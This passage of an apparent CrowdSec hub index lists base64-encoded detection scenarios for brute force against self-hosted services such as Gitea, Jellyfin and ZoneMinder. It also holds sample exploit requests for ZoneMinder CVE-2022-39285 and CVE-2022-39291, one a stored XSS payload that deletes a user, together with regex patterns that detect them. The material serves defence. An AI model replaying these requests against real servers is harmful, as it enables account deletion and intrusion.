"IyBhdXRoZWxpYSBCRiBzY2FuCm5hbWU6IExlUHJlc2lkZW50ZS9hdXRoZWxpYS1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBhdXRoZWxpYSBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSBpbiBbJ2F1dGhlbGlhX2ZhaWxlZF9jbGZfYXV0aCcsICdhdXRoZWxpYV9mYWlsZWRfanNvbl9hdXRoJ10iCiNkZWJ1ZzogdHJ1ZQp0eXBlOiBsZWFreQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKbGVha3NwZWVkOiAiMjBzIgpjYXBhY2l0eTogNQpibGFja2hvbGU6IDFtCmxhYmVsczoKICBzZXJ2aWNlOiBhdXRoZWxpYQogIHR5cGU6IGJydXRlZm9yY2UKICByZW1lZGlhdGlvbjogdHJ1ZQotLS0KIyBhdXRoZWxpYSB1c2VyLWVudW0KdHlwZTogbGVha3kKbmFtZTogIExlUHJlc2lkZW50ZS9hdXRoZWxpYS1iZl91c2VyLWVudW0KZGVzY3JpcHRpb246ICJEZXRlY3QgYXV0aGVsaWEgdXNlciBlbnVtIGJydXRlZm9yY2UiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlIGluIFsnYXV0aGVsaWFfZmFpbGVkX2NsZl9hdXRoJywgJ2F1dGhlbGlhX2ZhaWxlZF9qc29uX2F1dGgnXSIKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmRpc3RpbmN0OiBldnQuTWV0YS51c2VyCmxlYWtzcGVlZDogMTBzCmNhcGFjaXR5OiA1CmJsYWNraG9sZTogMW0KbGFiZWxzOgogc2VydmljZTogYXV0aGVsaWEKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVl", "description": "Detect authelia bruteforce", "author": "LePresidente", "labels": { "remediation": "true", "service": "authelia", "type": "bruteforce" } }, "LePresidente/emby-bf": { "path": "scenarios/LePresidente/emby-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "4465206dcabe80edd026332b3a1aca8feb325fe982fa8fd2b4a38a3970a258b1", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBlbWJ5IGF1dGhlbnRpY2F0aW9uczoKCiAtIGxlYWtzcGVlZCBvZiAxbSwgY2FwYWNpdHkgb2YgNSBvbiBzYW1lIHRhcmdldCBpcA==", "content": "ICMgZW1ieSBicnV0ZWZvcmNlCnR5cGU6IGxlYWt5Cm5hbWU6IExlUHJlc2lkZW50ZS9lbWJ5LWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGVtYnkgYnJ1dGVmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2VtYnlfZmFpbGVkX2F1dGgnIgpsZWFrc3BlZWQ6IDFtCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDVtCnJlcHJvY2VzczogdHJ1ZQpsYWJlbHM6CiBzZXJ2aWNlOiBlbWJ5CiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect emby bruteforce", "author": "LePresidente", "labels": { "remediation": "true", "service": "emby", "type": "bruteforce" } }, "LePresidente/gitea-bf": { "path": "scenarios/LePresidente/gitea-bf.yaml", "version": "0.2", "versions": { "0.1": { "digest": "29eb0131d95219fa3a835a9e33cf38238240e42e8d7b46aa7bf7ed895d2b0b35", "deprecated": false }, "0.2": { "digest": "2ba7cd0dc64eda94f1c094b45f1bffd779a3e773621fddb7506b713320406f54", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBnaXRlYSBhdXRoZW50aWNhdGlvbnM6CgogLSBsZWFrc3BlZWQgb2YgMjBzLCBjYXBhY2l0eSBvZiA1IG9uIHNhbWUgdGFyZ2V0IHVzZXIKIC0gbGVha3NwZWVkIG9mIDFtLCBjYXBhY2l0eSBvZiA1IHVuaXF1ZSBkaXN0aW5jdCB1c2Vycw==", "content": "IyBnaXRlYSBCRiBzY2FuCm5hbWU6IExlUHJlc2lkZW50ZS9naXRlYS1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBnaXRlYSBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnZ2l0ZWFfZmFpbGVkX2F1dGgnIgojZGVidWc6IHRydWUKdHlwZTogbGVha3kKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmxlYWtzcGVlZDogIjIwcyIKY2FwYWNpdHk6IDUKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiAgc2VydmljZTogZ2l0ZWEKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWUKLS0tCiMgZ2l0ZWEgdXNlci1lbnVtCnR5cGU6IGxlYWt5Cm5hbWU6ICBMZVByZXNpZGVudGUvZ2l0ZWEtYmZfdXNlci1lbnVtCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGdpdGVhIHVzZXIgZW51bSBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnZ2l0ZWFfZmFpbGVkX2F1dGgnIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKZGlzdGluY3Q6IGV2dC5NZXRhLnVzZXIKbGVha3NwZWVkOiAxMHMKY2FwYWNpdHk6IDUKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiBzZXJ2aWNlOiBnaXRlYQogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUK", "description": "Detect gitea bruteforce", "author": "LePresidente", "labels": { "remediation": "true", "service": "gitea", "type": "bruteforce" } }, "LePresidente/jellyfin-bf": { "path": "scenarios/LePresidente/jellyfin-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "e84cce05fb525b5f43f34171fb8a3eeca55ae5a7e5553d59fd9004472188706e", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBqZWxseWZpbiBhdXRoZW50aWNhdGlvbnM6CgogLSBsZWFrc3BlZWQgb2YgMjBzLCBjYXBhY2l0eSBvZiA1IG9uIHNhbWUgdGFyZ2V0IHVzZXIKIC0gbGVha3NwZWVkIG9mIDFtLCBjYXBhY2l0eSBvZiA1IHVuaXF1ZSBkaXN0aW5jdCB1c2Vycw==", "content": "IyBqZWxseWZpbiBCRiBzY2FuCm5hbWU6IExlUHJlc2lkZW50ZS9qZWxseWZpbi1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBqZWxseWZpbiBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnamVsbHlmaW5fZmFpbGVkX2F1dGgnIgojZGVidWc6IHRydWUKdHlwZTogbGVha3kKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmxlYWtzcGVlZDogIjIwcyIKY2FwYWNpdHk6IDUKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiAgc2VydmljZTogamVsbHlmaW4KICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWUKLS0tCiMgamVsbHlmaW4gdXNlci1lbnVtCnR5cGU6IGxlYWt5Cm5hbWU6ICBMZVByZXNpZGVudGUvamVsbHlmaW4tYmZfdXNlci1lbnVtCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGplbGx5ZmluIHVzZXIgZW51bSBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnamVsbHlmaW5fZmFpbGVkX2F1dGgnIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKZGlzdGluY3Q6IGV2dC5NZXRhLnVzZXIKbGVha3NwZWVkOiAxMHMKY2FwYWNpdHk6IDUKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiBzZXJ2aWNlOiBqZWxseWZpbgogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUK", "description": "Detect jellyfin bruteforce", "author": "LePresidente", "labels": { "remediation": "true", "service": "jellyfin", "type": "bruteforce" } }, "LePresidente/jellyseerr-bf": { "path": "scenarios/LePresidente/jellyseerr-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "d21fcd58a65208cd0d37d005e13b3ba242f169ee71a8a8c2b6d4c4011f4d1c98", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBqZWxseXNlZXJyIGF1dGhlbnRpY2F0aW9uczoKCiAtIGxlYWtzcGVlZCBvZiAyMHMsIGNhcGFjaXR5IG9mIDUgb24gc2FtZSB0YXJnZXQgdXNlcgogLSBsZWFrc3BlZWQgb2YgMW0sIGNhcGFjaXR5IG9mIDUgdW5pcXVlIGRpc3RpbmN0IHVzZXJz", "content": "IyBqZWxseXNlZXJyIEJGIHNjYW4KbmFtZTogTGVQcmVzaWRlbnRlL2plbGx5c2VlcnItYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgamVsbHlzZWVyciBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnamVsbHlzZWVycl9mYWlsZWRfYXV0aCciCiNkZWJ1ZzogdHJ1ZQp0eXBlOiBsZWFreQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKbGVha3NwZWVkOiAiMjBzIgpjYXBhY2l0eTogNQpibGFja2hvbGU6IDFtCmxhYmVsczoKICBzZXJ2aWNlOiBqZWxseXNlZXJyCiAgdHlwZTogYnJ1dGVmb3JjZQogIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQojIGplbGx5c2VlcnIgdXNlci1lbnVtCnR5cGU6IGxlYWt5Cm5hbWU6ICBMZVByZXNpZGVudGUvamVsbHlzZWVyci1iZl91c2VyLWVudW0KZGVzY3JpcHRpb246ICJEZXRlY3QgamVsbHlzZWVyciB1c2VyIGVudW0gYnJ1dGVmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2plbGx5c2VlcnJfZmFpbGVkX2F1dGgnIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKZGlzdGluY3Q6IGV2dC5NZXRhLnVzZXIKbGVha3NwZWVkOiAxMHMKY2FwYWNpdHk6IDUKYmxhY2tob2xlOiAxbQpsYWJlbHM6CiBzZXJ2aWNlOiBqZWxseXNlZXJyCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect jellyseerr bruteforce", "author": "LePresidente", "labels": { "remediation": "true", "service": "jellyseerr", "type": "bruteforce" } }, "LePresidente/ombi-bf": { "path": "scenarios/LePresidente/ombi-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "20d3c7bf14fa9c1a6b43a00d219c933846d36d7ec8d4306659aaad6a3873a6eb", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBlbWJ5IGF1dGhlbnRpY2F0aW9uczoKCiAtIGxlYWtzcGVlZCBvZiAxbSwgY2FwYWNpdHkgb2YgNSBvbiBzYW1lIHRhcmdldCBpcA==", "content": "IyBlbWJ5IGJydXRlZm9yY2UKdHlwZTogbGVha3kKbmFtZTogTGVQcmVzaWRlbnRlL29tYmktYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgT21iaSBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnb21iaV9hdXRoX2ZhaWxlZCciCmxlYWtzcGVlZDogMW0KY2FwYWNpdHk6IDUKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogNW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKIHNlcnZpY2U6IG9tYmkKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "Detect Ombi bruteforce", "author": "LePresidente", "labels": { "remediation": "true", "service": "ombi", "type": "bruteforce" } }, "a1ad/meshcentral-bf": { "path": "scenarios/a1ad/meshcentral-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "f9c23983ecdee70491e334732b2cb2ba7ef5fb61a5d119951930ba5b7cb93e51", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBtZXNoY2VudHJhbCBhdXRoZW50aWNhdGlvbnM6CgogLSBsZWFrc3BlZWQgb2YgMjBzLCBjYXBhY2l0eSBvZiA1IG9uIHNhbWUgdGFyZ2V0IHVzZXIKIC0gbGVha3NwZWVkIG9mIDFtLCBjYXBhY2l0eSBvZiA1IHVuaXF1ZSBkaXN0aW5jdCB1c2Vycwo=", "content": "IyBtZXNoY2VudHJhbCBCRiBzY2FuCm5hbWU6IGExYWQvbWVzaGNlbnRyYWwtYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgbWVzaGNlbnRyYWwgYnJ1dGVmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ21lc2hjZW50cmFsX2ZhaWxlZF9hdXRoJyIKI2RlYnVnOiB0cnVlCnR5cGU6IGxlYWt5Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApsZWFrc3BlZWQ6ICIyMHMiCmNhcGFjaXR5OiA1CmJsYWNraG9sZTogMW0KbGFiZWxzOgogIHNlcnZpY2U6IG1lc2hjZW50cmFsCiAgdHlwZTogYnJ1dGVmb3JjZQogIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQojIG1lc2hjZW50cmFsIHVzZXItZW51bQp0eXBlOiBsZWFreQpuYW1lOiAgYTFhZC9tZXNoY2VudHJhbC1iZl91c2VyLWVudW0KZGVzY3JpcHRpb246ICJEZXRlY3QgbWVzaGNlbnRyYWwgdXNlciBlbnVtIGJydXRlZm9yY2UiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdtZXNoY2VudHJhbF9mYWlsZWRfYXV0aCciCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApkaXN0aW5jdDogZXZ0Lk1ldGEudXNlcgpsZWFrc3BlZWQ6IDEwcwpjYXBhY2l0eTogNQpibGFja2hvbGU6IDFtCmxhYmVsczoKIHNlcnZpY2U6IG1lc2hjZW50cmFsCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect meshcentral bruteforce", "author": "a1ad", "labels": { "remediation": "true", "service": "meshcentral", "type": "bruteforce" } }, "baudneo/gotify-bf": { "path": "scenarios/baudneo/gotify-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "584f3cea147a6aca903f87b63d43bade9da0449c23b90efb26de9fa798d06fdb", "deprecated": false } }, "long_description": "QnJ1dGVmb3JjZSBwcm90ZWN0aW9uIGZvciBHb3RpZnkgc2VydmVyLiAKCkxlYWsgc3BlZWQgb2YgMTAgc2Vjb25kcyB3aXRoIGEgY2FwYWNpdHkgb2YgNC4=", "content": "dHlwZTogbGVha3kKbmFtZTogYmF1ZG5lby9nb3RpZnktYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgYnJ1dGVmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgID09ICdnb3RpZnlfZmFpbGVkX2F1dGgnIgpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgpjYXBhY2l0eTogNApsZWFrc3BlZWQ6ICIxMHMiCmJsYWNraG9sZTogMW0KbGFiZWxzOgogc2VydmljZTogZ290aWZ5CiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQ==", "description": "Detect bruteforce", "author": "baudneo", "labels": { "remediation": "true", "service": "gotify", "type": "bruteforce" } }, "baudneo/zoneminder-bf": { "path": "scenarios/baudneo/zoneminder-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "23f8a840d8341ffad8f70b787e7dc5c9ecbab0c3bcc91eaada7dffdc2a4613f7", "deprecated": false } }, "long_description": "QnJ1dGVmb3JjZS9Vc2VyIEVudW1lcmF0aW9uIHByb3RlY3Rpb24gZm9yIFpvbmVNaW5kZXIuCg==", "content": "IyBsb2dpbmcgYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiBiYXVkbmVvL3pvbmVtaW5kZXItYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgWm9uZU1pbmRlciBicnV0ZWZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfc3VidHlwZSA9PSAnem1fYmFkX3Bhc3N3b3JkJyIKZ3JvdXBieTogImV2dC5NZXRhLnNvdXJjZV9pcCIKY2FwYWNpdHk6IDQKbGVha3NwZWVkOiAiMTBzIgpibGFja2hvbGU6IDFtCmxhYmVsczoKIHNlcnZpY2U6IHpvbmVtaW5kZXIKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQojIHVzZXIgZW51bQp0eXBlOiBsZWFreQpuYW1lOiBiYXVkbmVvL3pvbmVtaW5kZXItYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgWm9uZU1pbmRlciB1c2VyIGVudW1lcmF0aW9uIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfc3VidHlwZSA9PSAnem1fYmFkX3VzZXInIgpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgpkaXN0aW5jdDogImV2dC5NZXRhLnVzZXJuYW1lIgpjYXBhY2l0eTogNApsZWFrc3BlZWQ6ICIxMHMiCmJsYWNraG9sZTogMW0KbGFiZWxzOgogc2VydmljZTogem9uZW1pbmRlcgogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUK", "description": "Detect ZoneMinder bruteforce", "author": "baudneo", "labels": { "remediation": "true", "service": "zoneminder", "type": "bruteforce" } }, "baudneo/zoneminder_cve-2022-39285": { "path": "scenarios/baudneo/zoneminder_cve-2022-39285.yaml", "version": "0.1", "versions": { "0.1": { "digest": "ce8c950d3c51b1e3b1aa7f3b77d29e080a59b5cba2151057c4651a124b752216", "deprecated": false } }, "long_description": "U2NlbmFyaW8gdG8gZGV0ZWN0IGV4cGxvaXRhdGlvbiBhdHRlbXB0cyBvZiBbQ1ZFLTIwMjItMzkyODVdKGh0dHBzOi8vZ2l0aHViLmNvbS9ab25lTWluZGVyL3pvbmVtaW5kZXIvc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLWg2eHAtY3Z3di1xNDMzKS4KQmFzaWNhbGx5IGRvIG5vdCBhbGxvdyBhbnkgUE9TVCByZXF1ZXN0cyBmb3IgaW5kZXgucGhwIHRvIGhhdmUgZmlsZT1bWFNTIHBheWxvYWRdLiBUaGlzIGlzIGZvciBaTSB2ZXJzaW9ucyBfX0JFRk9SRV9fIDEuMzYuMjcsIDEuMzcuMjQKCmBgYApQT1NUIC96bS9pbmRleC5waHAgSFRUUC8xLjEKSG9zdDogMTAuMC4xMC4xMDcKQ29udGVudC1MZW5ndGg6IDM3NwpBY2NlcHQ6IGFwcGxpY2F0aW9uL2pzb24sIHRleHQvamF2YXNjcmlwdCwgKi8qOyBxPTAuMDEKWC1SZXF1ZXN0ZWQtV2l0aDogWE1MSHR0cFJlcXVlc3QKVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwMS4wLjQ5NTEuNDEgU2FmYXJpLzUzNy4zNgpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZDsgY2hhcnNldD1VVEYtOApPcmlnaW46IGh0dHA6Ly8xMC4wLjEwLjEwNwpSZWZlcmVyOiBodHRwOi8vMTAuMC4xMC4xMDcvem0vCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC45CkNvb2tpZTogem1Ta2luPWNsYXNzaWM7IHptQ1NTPWJhc2U7IHptQmFuZHdpZHRoPWhpZ2g7IFpNU0VTU0lEPXJhdWg1b2UzaTJ1YXIyNWVhbmlpcHEyZ2llCkNvbm5lY3Rpb246IGNsb3NlCgpfX2NzcmZfbWFnaWM9a2V5Ojc4ZWUyOThhNDU5MzI0M2I5YWM0ODExOTlkN2RhNDY4YmFiNGYwNDQsMTY2NDY3NTEyNSZ2aWV3PXJlcXVlc3QmcmVxdWVzdD1sb2cmdGFzaz1jcmVhdGUmbGV2ZWw9RVJSJm1lc3NhZ2U9VHJlbmNoZXMlMjBvZiUyMElUJTVCbmFtZSU1RD1DaHJvbWUmYnJvd3NlciU1QnZlcnNpb24lNUQ9MTAxLjAuNDk1MS40MSZicm93c2VyJTVCcGxhdGZvcm0lNUQ9V2luZG93cyZmaWxlPWh0dHAlM0ElMkYlMkYxMC4wLjEwLjEwNyUyRnptJTJGJmx0Oy90ZCZndDsmbHQ7L3RyJmd0OyZsdDtzY3JpcHQgc3JjPScvem0vP3ZpZXc9b3B0aW9ucyUyNnRhYj11c2VycyUyNmFjdGlvbj1kZWxldGUlMjZtYXJrVWlkcyU1QiU1RD02JTI2ZGVsZXRlQnRuPURlbGV0ZScmbHQ7L3NjcmlwdCZndDsmbGluZT03MApgYGAKCjp3YXJuaW5nOiBDcm93ZHNlYyBpcyBub3QgYSBXQUYgYW5kLCBhcyBzdWNoLCBieXBhc3MgdG8gdGhvc2Ugc2lnbmF0dXJlcyBhcmUgbGlrZWx5IDp3YXJuaW5nOgoKCgoKCg==", "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMAojZGVidWc6IHRydWUKIyAgZmlsZT1odHRwJTNBJTJGJTJGMTAuMC4xMC4xMDclMkZ6bSUyRiZsdDsvdGQmZ3Q7Jmx0Oy90ciZndDsmbHQ7c2NyaXB0IHNyYz0nL3ptLz92aWV3PW9wdGlvbnMlMjZ0YWI9dXNlcnMlMjZhY3Rpb249ZGVsZXRlJTI2bWFya1VpZHMlNUIlNUQ9NiUyNmRlbGV0ZUJ0bj1EZWxldGUnJmx0Oy9zY3JpcHQmZ3Q7JmxpbmU9NzAKbmFtZTogYmF1ZG5lby96b25lbWluZGVyX2N2ZS0yMDIyLTM5Mjg1CmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGN2ZS0yMDIyLTM5Mjg1IGV4cGxvaXRhdGlvbiBhdHRlbXB0cyIKZmlsdGVyOiB8CiAgZXZ0Lk1ldGEubG9nX3R5cGUgaW4gWyJodHRwX2FjY2Vzcy1sb2ciLCAiaHR0cF9lcnJvci1sb2ciXQogIGFuZCAKICAgICgKICAgICAgKCBVcHBlcihldnQuTWV0YS5odHRwX3ZlcmIpID09ICJQT1NUIiBhbmQKICAgICAgICAgIFVwcGVyKGV2dC5NZXRhLmh0dHBfcGF0aCkgbWF0Y2hlcyBVcHBlcignXig/UDxwYXRoPi8uKmluZGV4LnBocCk/LiooP1A8ZmlsZV9xdWVyeT5maWxlPS4qJmx0Oy90ZCZndDsmbHQ7L3RyKD9QPHBheWxvYWQ+LiopJmd0OyknKQogICAgICApCiAgICAgIG9yIAogICAgICBVcHBlcihldnQuUGFyc2VkLnJhd3JlcXVlc3QpIG1hdGNoZXMgVXBwZXIoJ14oP1A8dmVyYj5QT1NUKSAoP1A8cGF0aD4vLippbmRleC5waHApPy4qKD9QPGZpbGVfcXVlcnk+ZmlsZT0uKiZsdDsvdGQmZ3Q7Jmx0Oy90cig/UDxwYXlsb2FkPi4qKSZndDspJykKICAgICkKZ3JvdXBieTogImV2dC5NZXRhLnNvdXJjZV9pcCIKYmxhY2tob2xlOiAybQpsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "Detect cve-2022-39285 exploitation attempts", "author": "baudneo", "labels": { "remediation": "true", "type": "exploit" } }, "baudneo/zoneminder_cve-2022-39290": { "path": "scenarios/baudneo/zoneminder_cve-2022-39290.yaml", "version": "0.1", "versions": { "0.1": { "digest": "b0ea4c6323f2a29c66ce3ec6bcb34ee0721ff6de66c37cd50f3bc9e0179febb1", "deprecated": false } }, "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMAojZGVidWc6IHRydWUKIy96bS9pbmRleC5waHA/dmlldz1vcHRpb25zJnRhYj11c2VycyZhY3Rpb249ZGVsZXRlJm1hcmtVaWRzJTVCJTVEPTEzJmRlbGV0ZUJ0bj1EZWxldGUKbmFtZTogYmF1ZG5lby96b25lbWluZGVyX2N2ZS0yMDIyLTM5MjkwCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGN2ZS0yMDIyLTM5MjkwIGV4cGxvaXRhdGlvbiBhdHRlbXB0cyIKZmlsdGVyOiB8CiAgZXZ0Lk1ldGEubG9nX3R5cGUgaW4gWyJodHRwX2FjY2Vzcy1sb2ciLCAiaHR0cF9lcnJvci1sb2ciXQogIGFuZCBVcHBlcihldnQuTWV0YS5odHRwX3ZlcmIpID09ICJHRVQiCiAgYW5kICBVcHBlcihldnQuTWV0YS5odHRwX3BhdGgpIG1hdGNoZXMgVXBwZXIoJy4qYWN0aW9uPS4qJykKZ3JvdXBieTogImV2dC5NZXRhLnNvdXJjZV9pcCIKYmxhY2tob2xlOiAybQpsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "Detect cve-2022-39290 exploitation attempts", "author": "baudneo", "labels": { "remediation": "true", "type": "exploit" } }, "baudneo/zoneminder_cve-2022-39291": { "path": "scenarios/baudneo/zoneminder_cve-2022-39291.yaml", "version": "0.1", "versions": { "0.1": { "digest": "8374d8580cd1d1c2c56e2c7e12ba82b3e1f797d0b300fb6d620825b77f61a6c5", "deprecated": false } }, "long_description": "U2NlbmFyaW8gdG8gZGV0ZWN0IGV4cGxvaXRhdGlvbiBhdHRlbXB0cyBvZiBbQ1ZFLTIwMjItMzkyOTFdKGh0dHBzOi8vZ2l0aHViLmNvbS9ab25lTWluZGVyL3pvbmVtaW5kZXIvc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLWNmY3gtdjUyeC1qaDc0KS4KQmFzaWNhbGx5IHJhdGUgbGltaXQgYWRkaW5nIChQT1NUKSBsb2cgZW50cmllcyB1c2luZyBpbmRleC5waHAuIAoKIyMjIyBUaGlzIGlzIGZvciBaTSB2ZXJzaW9ucyBfX0JFRk9SRV9fIDEuMzYuMjcsIDEuMzcuMjQKCmBgYAogIFBPU1QgL3ptL2luZGV4LnBocCBIVFRQLzEuMQogIEhvc3Q6IDEwLjAuMTAuMTA3CiAgQ29udGVudC1MZW5ndGg6IDI1NgogIEFjY2VwdDogYXBwbGljYXRpb24vanNvbiwgdGV4dC9qYXZhc2NyaXB0LCAqLyo7IHE9MC4wMQogIFgtUmVxdWVzdGVkLVdpdGg6IFhNTEh0dHBSZXF1ZXN0CiAgVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwMS4wLjQ5NTEuNDEgU2FmYXJpLzUzNy4zNgogIENvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkOyBjaGFyc2V0PVVURi04CiAgT3JpZ2luOiBodHRwOi8vMTAuMC4xMC4xMDcKICBSZWZlcmVyOiBodHRwOi8vMTAuMC4xMC4xMDcvem0vPwogIENvbnRlbnQtU2VjdXJpdHktUG9saWN5OiBkZWZhdWx0LXNyYyAnc2VsZicgZGF0YTogKjsgY29ubmVjdC1zcmMgJ3NlbGYnOyBzY3JpcHQtc3JjICAnc2VsZic7CiAgQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlCiAgQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuOQogIENvb2tpZTogem1Ta2luPWNsYXNzaWM7IHptQ1NTPWJhc2U7IHptQmFuZHdpZHRoPWhpZ2g7IFpNU0VTU0lEPThvOGgzbWc0bnY3cG1tc3U0dG0xM3IxdjRkCiAgQ29ubmVjdGlvbjogY2xvc2UKICAgIAogICAgX19jc3JmX21hZ2ljPWtleSUzQTg1ODY2ZmJjYjZhMWQ3MzI1NTQ0YTU1YWE2M2ZiNTM0Njc3ZjM0Y2ElMkMxNjY1MTAyNDExJnZpZXc9cmVxdWVzdCZyZXF1ZXN0PWxvZyZ0YXNrPWNyZWF0ZSZsZXZlbD1FUlImbWVzc2FnZT1UcmVuY2hlcyUyMG9mJTIwSVQlMjBQb0MmYnJvd3NlciU1Qm5hbWUlNUQ9Q2hyb21lJmJyb3dzZXIlNUJ2ZXJzaW9uJTVEPTEwMS4wLjQ5NTEuNDEmYnJvd3NlciU1QnBsYXRmb3JtJTVEPVdpbmRvd3MmZmlsZT1saW5lPTgwMApgYGAKCjp3YXJuaW5nOiBDcm93ZHNlYyBpcyBub3QgYSBXQUYgYW5kLCBhcyBzdWNoLCBieXBhc3MgdG8gdGhvc2Ugc2lnbmF0dXJlcyBhcmUgbGlrZWx5IDp3YXJuaW5nOgoKCgoKCg==", "content": 